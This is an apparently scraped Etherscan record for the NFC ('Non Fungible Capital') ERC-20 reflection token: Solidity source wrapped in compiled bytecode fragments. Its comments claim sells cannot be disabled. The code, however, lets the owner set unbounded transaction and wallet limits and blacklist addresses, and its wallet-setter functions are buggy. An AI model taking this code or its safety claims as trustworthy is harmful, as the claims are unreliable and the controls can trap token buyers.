ffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107f0610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116409092919063ffffffff16565b610de2565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061090a61086e610dda565b84610905856001600061087f610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461170090919063ffffffff16565b610de2565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610afb5780601f10610ad057610100808354040283529160200191610afb565b820191906000526020600020905b815481529060010190602001808311610ade57829003601f168201915b5050505050905090565b6000610bc8610b12610dda565b84610bc38560405180606001604052806025815260200161186a6025913960016000610b3c610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116409092919063ffffffff16565b610de2565b6001905092915050565b6000610be6610bdf610dda565b8484610fd9565b6001905092915050565b60008090505b8251811015610d4d57600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610d4057610c85838281518110610c6457fe5b6020026020010151838381518110610c7857fe5b6020026020010151610bd2565b508360ff16811015610d3f57600160086000858481518110610ca357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610d3e838281518110610d0b57fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a54610de2565b5b5b8080600101915050610bf6565b50505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e68576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806118466024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806117b16022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156110885750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156111045750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611111575060095481115b1561126957600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806111bf5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806112135750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611268576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806118216025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156113355750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b1561137c5781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611402576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806118216025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611488576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061178e6023913960400191505060405180910390fd5b611493868686611788565b6114fe846040518060600160405280602681526020016117d3602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116409092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611591846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461170090919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b60008383111582906116ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156116b2578082015181840152602081019050611697565b50505050905090810190601f1680156116df5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008082840190508381101561177e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122010308d1d3a9c6e154a687c3dce720e14e5ae3853539631a416d58e2d589dc4fe64736f6c63430006060033
{"success": true, "error": null, "results": {}}
7,634
0x2cacb503a6f0f3f3bcf4264aaa2881bf115e838c
/** *Submitted for verification at Etherscan.io on 2021-12-06 */ /** Non Fungible Capital: $NFC -You buy on Ethereum, we invest in NFTs that have true utility & farm on multiple chains to return the profits to $NFC holders + NFT giveaways. 1) 10% tax is collected and distributed to holders for HODLing. 2) 10-15% farming and operations tax. Website: https://nfc.farm Telegram: https://t.me/nonfungiblecapital Twitter: https://twitter.com/NFC_FARM */ /** * There is not a pause contract button. * Deployer cannot disable sells. * Sell taxes cannot be raised higher than a designated percent written into the contract and noted as such. * Sells cannot exceed 25%. * Built-in whale protection: Max wallet size, max Tx amount and max amount to swap for ETH. */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract NonFungibleCapital is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Non Fungible Capital"; string private constant _symbol = "NFC"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping (address => bool) public _isExcludedMaxTxAmount; mapping(address => bool) private _isExcludedFromReflection; address[] private _excludedFromReflection; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000 * 1e9 * 1e9; //1,000,000,000,000 uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; mapping(address => bool) public bots; uint256 private _reflectionFeeOnBuy = 10; uint256 private _taxFeeOnBuy = 15; uint256 private _reflectionFeeOnSell = 10; uint256 private _taxFeeOnSell = 15; uint256 private _reflectionFee = _reflectionFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousReflectionFee = _reflectionFee; uint256 private _previousTaxFee = _taxFee; address payable public _nfcAddress = payable(0xCbB1d245613DC6c3C05c1f18dfc9Ae763154D9aa); //Investment wallet address payable public _mktgAddress = payable(0x48F92371a12573FEE2aB79F085f13Cb168a2E24D); //Marketing wallet IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private inSwap = false; bool private swapEnabled = true; bool public tradingActive = false; uint256 public _maxTxAmount = 2500 * 1e7 * 1e9; //max transaction set to 2.5% uint256 public _maxWalletSize = 2500 * 1e7 * 1e9; //max wallet set to 2.5% uint256 public _swapTokensAtAmount = 5000 * 1e6 * 1e9; //amount of tokens to swap for eth 0.5% event ExcludeFromReflection(address excludedAddress); event IncludeInReflection(address includedAddress); event ExcludeFromFee(address excludedAddress); event IncludeInFee(address includedAddress); event UpdatedMktgAddress(address mktg); //Marketing wallet event UpdatedNfcAddress(address nfc); //Investment wallet event SetBuyFee(uint256 buyMktgFee, uint256 buyReflectionFee); event SetSellFee(uint256 sellMktgFee, uint256 sellReflectionFee); event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_nfcAddress] = true; _isExcludedFromFee[_mktgAddress] = true; excludeFromMaxTxAmount(owner(), true); excludeFromMaxTxAmount(address(this), true); excludeFromMaxTxAmount(address(_nfcAddress), true); excludeFromMaxTxAmount(address(_mktgAddress), true); emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function excludeFromFee(address account) external onlyOwner { _isExcludedFromFee[account] = true; emit ExcludeFromFee(account); } function includeInFee(address account) external onlyOwner { _isExcludedFromFee[account] = false; emit IncludeInFee(account); } function excludeFromReflection(address account) public onlyOwner { require(!_isExcludedFromReflection[account], "Account is already excluded"); require(_excludedFromReflection.length + 1 <= 50, "Cannot exclude more than 50 accounts. Include a previously excluded address."); if (_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcludedFromReflection[account] = true; _excludedFromReflection.push(account); } function includeInReflection(address account) public onlyOwner { require(_isExcludedFromReflection[account], "Account is not excluded from reflection"); for (uint256 i = 0; i < _excludedFromReflection.length; i++) { if (_excludedFromReflection[i] == account) { _excludedFromReflection[i] = _excludedFromReflection[_excludedFromReflection.length - 1]; _tOwned[account] = 0; _isExcludedFromReflection[account] = false; _excludedFromReflection.pop(); break; } } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_reflectionFee == 0 && _taxFee == 0) return; _previousReflectionFee = _reflectionFee; _previousTaxFee = _taxFee; _reflectionFee = 0; _taxFee = 0; } function restoreAllFee() private { _reflectionFee = _previousReflectionFee; _taxFee = _previousTaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingActive) if(to != uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _reflectionFee = _reflectionFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (!_isExcludedFromFee[from]) { require(amount <= _maxTxAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _reflectionFee = _reflectionFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _nfcAddress.transfer(amount.div(2)); _mktgAddress.transfer(amount.div(2)); } function manualSwap() external { require(_msgSender() == _nfcAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _nfcAddress || _msgSender() == _mktgAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _reflectionFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 reflectionFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(reflectionFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 reflectionFeeOnBuy, uint256 reflectionFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _reflectionFeeOnBuy = reflectionFeeOnBuy; _taxFeeOnBuy = taxFeeOnBuy; _reflectionFeeOnSell = reflectionFeeOnSell; _taxFeeOnSell = taxFeeOnSell; require(_reflectionFeeOnBuy + _taxFeeOnBuy <= 25, "Must keep buy taxes below 25%"); require(_reflectionFeeOnSell + _taxFeeOnSell <= 25, "Must keep buy taxes below 25%"); } // once enabled, can never be turned off function enableTrading() internal onlyOwner { tradingActive = true; } function airdrop(address[] memory airdropWallets, uint256[] memory amounts) external onlyOwner returns (bool){ require(!tradingActive, "Trading is already active, cannot relaunch."); require(airdropWallets.length < 200, "Can only airdrop 200 wallets per txn due to gas limits"); // allows for airdrop for(uint256 i = 0; i < airdropWallets.length; i++){ address wallet = airdropWallets[i]; uint256 amount = amounts[i]; _transfer(msg.sender, wallet, amount); } enableTrading(); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTxAmount(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTxAmount(address(uniswapV2Pair), true); return true; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set max transaction function setMaxTxAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function excludeFromMaxTxAmount(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTxAmount[updAds] = isEx; } //set max wallet function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } //set wallet address function _setNFCAddress(address nfcAddress) external onlyOwner { require(_nfcAddress != address(0), "_nfcAddress cannot be 0"); _isExcludedFromFee[nfcAddress] = false; nfcAddress = payable(_nfcAddress); _isExcludedFromFee[nfcAddress] = true; emit UpdatedNfcAddress(_nfcAddress); } //set wallet address function _setMktgAddress(address mktgAddress) external onlyOwner { require(_mktgAddress != address(0), "_mktgAddress cannot be 0"); _isExcludedFromFee[mktgAddress] = false; mktgAddress = payable(_mktgAddress); _isExcludedFromFee[mktgAddress] = true; emit UpdatedMktgAddress(_mktgAddress); } }
0x60806040526004361061021c5760003560e01c806370a0823111610123578063bbc0c742116100ab578063ea1644d51161006f578063ea1644d5146106a7578063ea2f0b37146106c7578063ec28438a146106e7578063f2fde38b14610707578063f42938901461072757600080fd5b8063bbc0c742146105d0578063bfd79284146105f1578063cd7c1b7214610621578063dd62ed3e14610641578063e755d0cf1461068757600080fd5b80638f9a55c0116100f25780638f9a55c01461052e57806395d89b411461054457806398a5c31514610570578063a2a957bb14610590578063a9059cbb146105b057600080fd5b806370a08231146104ba57806378b4aa45146104da5780637d1db4a5146104fa5780638da5cb5b1461051057600080fd5b80632fd689e3116101a657806351bc3c851161017557806351bc3c8514610415578063563912bd1461042a578063595cc84f1461045a578063672434821461047a5780636b9990531461049a57600080fd5b80632fd689e3146103a3578063313ce567146103b9578063437823ec146103d557806349bd5a5e146103f557600080fd5b8063095ea7b3116101ed578063095ea7b3146102ed5780631694505e1461031d57806318160ddd1461033d57806323b872dd1461036357806327334a081461038357600080fd5b806286803414610228578062b8cf2a1461026557806305f82a451461028757806306fdde03146102a757600080fd5b3661022357005b600080fd5b34801561023457600080fd5b50601554610248906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561027157600080fd5b50610285610280366004612647565b61073c565b005b34801561029357600080fd5b506102856102a236600461253b565b6107e9565b3480156102b357600080fd5b50604080518082019091526014815273139bdb88119d5b99da589b194810d85c1a5d185b60621b60208201525b60405161025c9190612787565b3480156102f957600080fd5b5061030d61030836600461261c565b6109e4565b604051901515815260200161025c565b34801561032957600080fd5b50601654610248906001600160a01b031681565b34801561034957600080fd5b50683635c9adc5dea000005b60405190815260200161025c565b34801561036f57600080fd5b5061030d61037e3660046125ab565b6109fb565b34801561038f57600080fd5b5061028561039e36600461253b565b610a64565b3480156103af57600080fd5b50610355601a5481565b3480156103c557600080fd5b506040516009815260200161025c565b3480156103e157600080fd5b506102856103f036600461253b565b610c52565b34801561040157600080fd5b50601754610248906001600160a01b031681565b34801561042157600080fd5b50610285610cd7565b34801561043657600080fd5b5061030d61044536600461253b565b60066020526000908152604090205460ff1681565b34801561046657600080fd5b506102856104753660046125eb565b610d10565b34801561048657600080fd5b5061030d610495366004612682565b610d65565b3480156104a657600080fd5b506102856104b536600461253b565b6110e9565b3480156104c657600080fd5b506103556104d536600461253b565b611134565b3480156104e657600080fd5b506102856104f536600461253b565b611156565b34801561050657600080fd5b5061035560185481565b34801561051c57600080fd5b506000546001600160a01b0316610248565b34801561053a57600080fd5b5061035560195481565b34801561055057600080fd5b506040805180820190915260038152624e464360e81b60208201526102e0565b34801561057c57600080fd5b5061028561058b36600461273e565b611248565b34801561059c57600080fd5b506102856105ab366004612756565b611277565b3480156105bc57600080fd5b5061030d6105cb36600461261c565b611375565b3480156105dc57600080fd5b5060175461030d90600160b01b900460ff1681565b3480156105fd57600080fd5b5061030d61060c36600461253b565b600b6020526000908152604090205460ff1681565b34801561062d57600080fd5b50601454610248906001600160a01b031681565b34801561064d57600080fd5b5061035561065c366004612573565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561069357600080fd5b506102856106a236600461253b565b611382565b3480156106b357600080fd5b506102856106c236600461273e565b611474565b3480156106d357600080fd5b506102856106e236600461253b565b6114a3565b3480156106f357600080fd5b5061028561070236600461273e565b61151e565b34801561071357600080fd5b5061028561072236600461253b565b61154d565b34801561073357600080fd5b50610285611637565b6000546001600160a01b0316331461076f5760405162461bcd60e51b8152600401610766906127da565b60405180910390fd5b60005b81518110156107e5576001600b60008484815181106107a157634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107dd81612942565b915050610772565b5050565b6000546001600160a01b031633146108135760405162461bcd60e51b8152600401610766906127da565b6001600160a01b03811660009081526007602052604090205460ff1661088b5760405162461bcd60e51b815260206004820152602760248201527f4163636f756e74206973206e6f74206578636c756465642066726f6d207265666044820152663632b1ba34b7b760c91b6064820152608401610766565b60005b6008548110156107e557816001600160a01b0316600882815481106108c357634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b031614156109d257600880546108ee9060019061292b565b8154811061090c57634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600880546001600160a01b03909216918390811061094657634e487b7160e01b600052603260045260246000fd5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600382526040808220829055600790925220805460ff1916905560088054806109ac57634e487b7160e01b600052603160045260246000fd5b600082815260209020810160001990810180546001600160a01b03191690550190555050565b806109dc81612942565b91505061088e565b60006109f133848461167f565b5060015b92915050565b6000610a088484846117a3565b610a5a8433610a558560405180606001604052806028815260200161299f602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611ce4565b61167f565b5060019392505050565b6000546001600160a01b03163314610a8e5760405162461bcd60e51b8152600401610766906127da565b6001600160a01b03811660009081526007602052604090205460ff1615610af75760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610766565b600854603290610b089060016128d4565b1115610b925760405162461bcd60e51b815260206004820152604d60248201527f43616e6e6f74206578636c756465206d6f7265207468616e203530206163636f60448201527f756e74732e2020496e636c75646520612070726576696f75736c79206578636c60648201526c3ab232b21030b2323932b9b99760991b608482015260a401610766565b6001600160a01b03811660009081526002602052604090205415610bec576001600160a01b038116600090815260026020526040902054610bd290611d1e565b6001600160a01b0382166000908152600360205260409020555b6001600160a01b03166000818152600760205260408120805460ff191660019081179091556008805491820181559091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30180546001600160a01b0319169091179055565b6000546001600160a01b03163314610c7c5760405162461bcd60e51b8152600401610766906127da565b6001600160a01b038116600081815260056020908152604091829020805460ff1916600117905590519182527f58c3e0504c69d3a92726966f152a771e0f8f6ad4daca1ae9055a38aba1fd2b6291015b60405180910390a150565b6014546001600160a01b0316336001600160a01b031614610cf757600080fd5b6000610d0230611134565b9050610d0d81611da2565b50565b6000546001600160a01b03163314610d3a5760405162461bcd60e51b8152600401610766906127da565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b600080546001600160a01b03163314610d905760405162461bcd60e51b8152600401610766906127da565b601754600160b01b900460ff1615610dfe5760405162461bcd60e51b815260206004820152602b60248201527f54726164696e6720697320616c7265616479206163746976652c2063616e6e6f60448201526a3a103932b630bab731b41760a91b6064820152608401610766565b60c8835110610e6e5760405162461bcd60e51b815260206004820152603660248201527f43616e206f6e6c792061697264726f70203230302077616c6c657473207065726044820152752074786e2064756520746f20676173206c696d69747360501b6064820152608401610766565b60005b8351811015610ef2576000848281518110610e9c57634e487b7160e01b600052603260045260246000fd5b602002602001015190506000848381518110610ec857634e487b7160e01b600052603260045260246000fd5b60200260200101519050610edd3383836117a3565b50508080610eea90612942565b915050610e71565b50610efb611f47565b737a250d5630b4cf539739df2c5dacb4c659f2488d610f1b816001610d10565b60168054600160016